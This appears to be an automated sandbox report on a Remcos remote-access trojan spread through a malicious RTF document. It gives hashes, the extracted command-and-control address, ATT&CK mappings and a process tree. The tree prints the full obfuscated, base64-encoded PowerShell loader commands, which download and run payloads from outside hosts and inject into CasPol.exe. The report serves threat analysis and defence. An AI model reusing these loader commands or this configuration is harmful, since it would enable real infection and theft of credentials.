remcos | 2b95f8d7e77d68b4fc2f40b1c42a9da731bd9812a60c36162019063f8af24978

Analysis

max time kernel
149s
max time network
149s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
23-01-2025 16:06

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General

Target

sheisveryinterestingirlsheisverybestfirlformebestthingsshedoing_____undergoodthingsarehappeningevnte.rtf
Size

243KB
MD5

8e128f75977895f5e8767935ab792e5d
SHA1

6820bb80d79a418adecf1db8d7bf1fddf054fc4e
SHA256

2b95f8d7e77d68b4fc2f40b1c42a9da731bd9812a60c36162019063f8af24978
SHA512

d579f38026e4c10b500dabea06f1965b4446ddd0a67b01f51a813b5963173af876e557c0dffe00c667be50a47fd02635062f3924fadd08f5455787c4e5651a3f
SSDEEP

3072:GBU+1XqRJXufoJVSCOum9tkU5/YATIiQvyUS:tdJXuQJwn5gDiQvyUS

Score

10^/10

remcos remotehost collection defense_evasion discovery execution phishing rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

abeangana.duckdns.org:1121

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-B9B8CE
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral1/memory/2700-249-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral1/memory/2680-248-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft
behavioral1/memory/2328-247-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral1/memory/2328-247-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral1/memory/2680-248-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 12 IoCs

flow	pid	Process
5	2604	EQNEDT32.EXE
7	2604	EQNEDT32.EXE
9	2604	EQNEDT32.EXE
11	2604	EQNEDT32.EXE
13	2604	EQNEDT32.EXE
15	2604	EQNEDT32.EXE
17	2604	EQNEDT32.EXE
18	2604	EQNEDT32.EXE
20	1096	powershell.exe
22	2372	powershell.exe
23	2372	powershell.exe
24	2372	powershell.exe

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
1096	powershell.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	CasPol.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2372	powershell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 2372 set thread context of 2740	2372	powershell.exe	45
PID 2740 set thread context of 2680	2740	CasPol.exe	47
PID 2740 set thread context of 2328	2740	CasPol.exe	49
PID 2740 set thread context of 2700	2740	CasPol.exe	50

Detected phishing page
phishing

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 13 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CasPol.exe

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
2604	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1163522206-1469769407-485553996-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2380	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1096	powershell.exe
2372	powershell.exe
2372	powershell.exe
2372	powershell.exe
2680	CasPol.exe
2680	CasPol.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
2740	CasPol.exe
2740	CasPol.exe
2740	CasPol.exe
2740	CasPol.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	2700	CasPol.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2380	WINWORD.EXE
2380	WINWORD.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 2952	2604	EQNEDT32.EXE	33
PID 2604 wrote to memory of 2952	2604	EQNEDT32.EXE	33
PID 2604 wrote to memory of 2952	2604	EQNEDT32.EXE	33
PID 2604 wrote to memory of 2952	2604	EQNEDT32.EXE	33
PID 2952 wrote to memory of 2124	2952	mshta.exe	35
PID 2952 wrote to memory of 2124	2952	mshta.exe	35
PID 2952 wrote to memory of 2124	2952	mshta.exe	35
PID 2952 wrote to memory of 2124	2952	mshta.exe	35
PID 2124 wrote to memory of 1096	2124	cmd.exe	37
PID 2124 wrote to memory of 1096	2124	cmd.exe	37
PID 2124 wrote to memory of 1096	2124	cmd.exe	37
PID 2124 wrote to memory of 1096	2124	cmd.exe	37
PID 1096 wrote to memory of 2180	1096	powershell.exe	38
PID 1096 wrote to memory of 2180	1096	powershell.exe	38
PID 1096 wrote to memory of 2180	1096	powershell.exe	38
PID 1096 wrote to memory of 2180	1096	powershell.exe	38
PID 2180 wrote to memory of 1364	2180	csc.exe	39
PID 2180 wrote to memory of 1364	2180	csc.exe	39
PID 2180 wrote to memory of 1364	2180	csc.exe	39
PID 2180 wrote to memory of 1364	2180	csc.exe	39
PID 1096 wrote to memory of 1368	1096	powershell.exe	41
PID 1096 wrote to memory of 1368	1096	powershell.exe	41
PID 1096 wrote to memory of 1368	1096	powershell.exe	41
PID 1096 wrote to memory of 1368	1096	powershell.exe	41
PID 1368 wrote to memory of 2372	1368	WScript.exe	42
PID 1368 wrote to memory of 2372	1368	WScript.exe	42
PID 1368 wrote to memory of 2372	1368	WScript.exe	42
PID 1368 wrote to memory of 2372	1368	WScript.exe	42
PID 2372 wrote to memory of 592	2372	powershell.exe	44
PID 2372 wrote to memory of 592	2372	powershell.exe	44
PID 2372 wrote to memory of 592	2372	powershell.exe	44
PID 2372 wrote to memory of 592	2372	powershell.exe	44
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2372 wrote to memory of 2740	2372	powershell.exe	45
PID 2380 wrote to memory of 2336	2380	WINWORD.EXE	46
PID 2380 wrote to memory of 2336	2380	WINWORD.EXE	46
PID 2380 wrote to memory of 2336	2380	WINWORD.EXE	46
PID 2380 wrote to memory of 2336	2380	WINWORD.EXE	46
PID 2740 wrote to memory of 2680	2740	CasPol.exe	47
PID 2740 wrote to memory of 2680	2740	CasPol.exe	47
PID 2740 wrote to memory of 2680	2740	CasPol.exe	47
PID 2740 wrote to memory of 2680	2740	CasPol.exe	47
PID 2740 wrote to memory of 2680	2740	CasPol.exe	47
PID 2740 wrote to memory of 2492	2740	CasPol.exe	48
PID 2740 wrote to memory of 2492	2740	CasPol.exe	48
PID 2740 wrote to memory of 2492	2740	CasPol.exe	48
PID 2740 wrote to memory of 2492	2740	CasPol.exe	48
PID 2740 wrote to memory of 2328	2740	CasPol.exe	49
PID 2740 wrote to memory of 2328	2740	CasPol.exe	49
PID 2740 wrote to memory of 2328	2740	CasPol.exe	49
PID 2740 wrote to memory of 2328	2740	CasPol.exe	49
PID 2740 wrote to memory of 2328	2740	CasPol.exe	49
PID 2740 wrote to memory of 2700	2740	CasPol.exe	50
PID 2740 wrote to memory of 2700	2740	CasPol.exe	50
PID 2740 wrote to memory of 2700	2740	CasPol.exe	50

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sheisveryinterestingirlsheisverybestfirlformebestthingsshedoing_____undergoodthingsarehappeningevnte.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2380
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2336

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\ccukissmeplsgivrmebest.hta"
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2952
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c PowerShELL -eX bYpass -nOp -W 1 -C dEvIceCREDeNtiALDEpLoYMeNt.eXe ; IEX($(ieX('[SysTem.TEXT.ENCOdINg]'+[CHaR]58+[CHAR]0x3a+'UTF8.gEtsTRING([sYSteM.convert]'+[ChAr]0X3a+[cHAr]58+'fROmbaSe64STRING('+[chAr]34+'JDFBeDhTWjJQTDEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtQkVSREVmSU5JVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbU9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpd0dacUh1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDd01TSG4sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkSCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT0NEZEVXcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVlUVHFEbnRtIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRSnd1cFpDaSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxQXg4U1oyUEwxOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTQ1LjIzOS4yOS4xMi8yMjUvbmljZWdpcmxmcm5kZ2l2ZW5tZWJlc3R0aGluZ3Nmb3JnLmdJRiIsIiRlTlY6QVBQREFUQVxuaWNlZ2lybGZybmRnaXZlbm1lYmVzbmljZWdpcmxmcm5kZ2l2ZW5tZWJlcy52YnMiLDAsMCk7c1RBUlQtc2xFZXAoMyk7aU52b0tFLUV4cFJFc3NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlZ2lybGZybmRnaXZlbm1lYmVzbmljZWdpcmxmcm5kZ2l2ZW5tZWJlcy52YnMi'+[CHAr]0X22+'))')))"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2124
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      PowerShELL -eX bYpass -nOp -W 1 -C dEvIceCREDeNtiALDEpLoYMeNt.eXe ; IEX($(ieX('[SysTem.TEXT.ENCOdINg]'+[CHaR]58+[CHAR]0x3a+'UTF8.gEtsTRING([sYSteM.convert]'+[ChAr]0X3a+[cHAr]58+'fROmbaSe64STRING('+[chAr]34+'JDFBeDhTWjJQTDEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhREQtdHlwZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTWVtQkVSREVmSU5JVElvTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVXJMbU9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUGosc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpd0dacUh1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDd01TSG4sdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkSCxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT0NEZEVXcSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiTVlUVHFEbnRtIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFNZXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRSnd1cFpDaSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxQXg4U1oyUEwxOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTQ1LjIzOS4yOS4xMi8yMjUvbmljZWdpcmxmcm5kZ2l2ZW5tZWJlc3R0aGluZ3Nmb3JnLmdJRiIsIiRlTlY6QVBQREFUQVxuaWNlZ2lybGZybmRnaXZlbm1lYmVzbmljZWdpcmxmcm5kZ2l2ZW5tZWJlcy52YnMiLDAsMCk7c1RBUlQtc2xFZXAoMyk7aU52b0tFLUV4cFJFc3NJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlZ2lybGZybmRnaXZlbm1lYmVzbmljZWdpcmxmcm5kZ2l2ZW5tZWJlcy52YnMi'+[CHAr]0X22+'))')))"
      4⤵
      Blocklisted process makes network request
      Evasion via Device Credential Deployment
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1096
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2lbocpg5.cmdline"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2180
      - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD75C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD75B.tmp"
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:1364
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\nicegirlfrndgivenmebesnicegirlfrndgivenmebes.vbs"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1368
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABpAG0AYQBnAGUAVQByAGwAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AcgBlAHMALgBjAGwAbwB1AGQAaQBuAGEAcgB5AC4AYwBvAG0ALwBkAGEAeAB3AHUAYQA2ADMAeQAvAGkAbQBhAGcAZQAvAHUAcABsAG8AYQBkAC8AdgAxADcAMwA3ADUANAA0ADAANgAzAC8AMQBuAGUAdwBfAGkAbQBhAGcAZQBfAG4AagBwADAAeQByAC4AagBwAGcAJwA7ACAAdAByAHkAIAB7ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAIAA9ACAAJAB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABpAG0AYQBnAGUAVQByAGwAKQA7ACAAJABpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7ACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAaQBmACAAKAAkAHMAdABhAHIAdABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABlAG4AZABJAG4AZABlAHgAIAAtACAAJABzAHQAYQByAHQASQBuAGQAZQB4ACkAOwAgACQAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsAJABtAGUAdABoAG8AZAAgAD0AIABbAFIAdQBtAHAALgBDAGwAYQBzAHMAOQBdAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHMAbQBlAHQAaABvAGQAXwAyACcAKQA7ACAAJABtAGUAdABoAG8AZAAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBdAEAAKAAnAHQAeAB0AC4AcwBnAG4AaQBoAHQAdABhAGUAcgBnAGgAdABpAHcAcwBnAG4AaQBoAHQAZABvAG8AZwB0AHMAZQBiAC8ANQAyADIALwAyADEALgA5ADIALgA5ADMAMgAuADUANAAxAC8ALwA6AHAAdAB0AGgAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBmAGEAbABzAGUAJwAsACcAZgBhAGwAcwBlACcALAAnAGYAYQBsAHMAZQAnACwAJwBDAGEAcwBQAG8AbAAnACwAJwBmAGEAbABzAGUAJwApACkAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAewAgAFcAcgBpAHQAZQAtAE8AdQB0AHAAdQB0ACAAJwBFAHIAcgBvADoAIAAkAF8AJwA7ACAAfQA=')) | Invoke-Expression"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2372
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        7⤵
        
        PID:592
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
        7⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:2740
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\uznrrmfpnjdelmsfbwv"
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2680
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ebsjsexjbsvinthjshizgi"
        8⤵
        
        PID:2492
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ebsjsexjbsvinthjshizgi"
        8⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:2328
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\ovxctxikxannyzdnbrvtrnqoxd"
        8⤵
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
6c6e38ec3d63eacf9fac1f8b1dbe150f

SHA1
5f7105c76f54582afe867a631d74580da6ce4f7e

SHA256
e53cc15bfc6bf7875b697d38d8b65cb7c0e3079fb34a0c5c6bb31a0f7f4f0eb4

SHA512
46016088c5de99fb77e8ff9502ba3941c2c6cd6f5aff68c417a322ede6a833c440384a4f3ecd359600ff67eedf1c1abeffac6547f397a189ae2018c6b5a4326d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
483cfadc07d3ec63a061a606d56bb365

SHA1
11f84767a06cbee6b75b100b812ec82fc9817c98

SHA256
9623c40ea51329409db6344369f41bfd63d460a726d0b10ee1c6b892290042bb

SHA512
e78d6929055375505e4f989edaf0f599cfbe9db842bb19121b52cb2b5cce90aec7d2187805cb25fbfc583aed59b37238df9b87b238b38df92ff5b6ed50abbf55

Download Submit
C:\Users\Admin\AppData\Local\Temp\2lbocpg5.dll

Filesize
3KB

MD5
d02f490516a1ab5777d47524993768e5

SHA1
5edbde6966e03027116d96d6dd305e594c021ab9

SHA256
09e38c63a0c1a30ae118319beec58305534c6bb1738f25ee126fc987461c4bb9

SHA512
c994f42441563225baa361e59a9a5e762929dba4b7a4f8a8a8a2a0a0acd2494f1f0db6364cf5fa345b47bee1e94c3e58369cb4ad42d8712fd8895c208b194b96

Download Submit
C:\Users\Admin\AppData\Local\Temp\2lbocpg5.pdb

Filesize
7KB

MD5
032d976d0d429e210dc2ca3bb00b235e

SHA1
04cc0acdcb44b083308df7a0a5dcc623452f5e2f

SHA256
6956b8ebf6e5574565f7a2ac4d65fd674854cb0bef8e1a8406242fdac4375e1a

SHA512
9441651a730f8a4f5d3dd3dc90b3300e002daea09daf0f96b0d8a8b79b230f5ae0615787cad9016a873878c59ac8acbf7eb12c1a7d8295b51791e79792873a37

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabC40C.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESD75C.tmp

Filesize
1KB

MD5
2e95e8a7111b3f076cf925c03e7f496f

SHA1
dfb1bb319d27311ebe88081754b281a1f147afc6

SHA256
9997862337ea87791b8ea2692ea106ec6075240605bc433d2b42388927be7dcd

SHA512
940576e5d83768121c2fefde0109239167e2bb3d93e328e652cd01dd9c9ec20f0e8bde3c1083b09c37e8d7a1f1635dcf049de1e0668d3117a801192adca0b95d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarC43E.tmp

Filesize
181KB

MD5
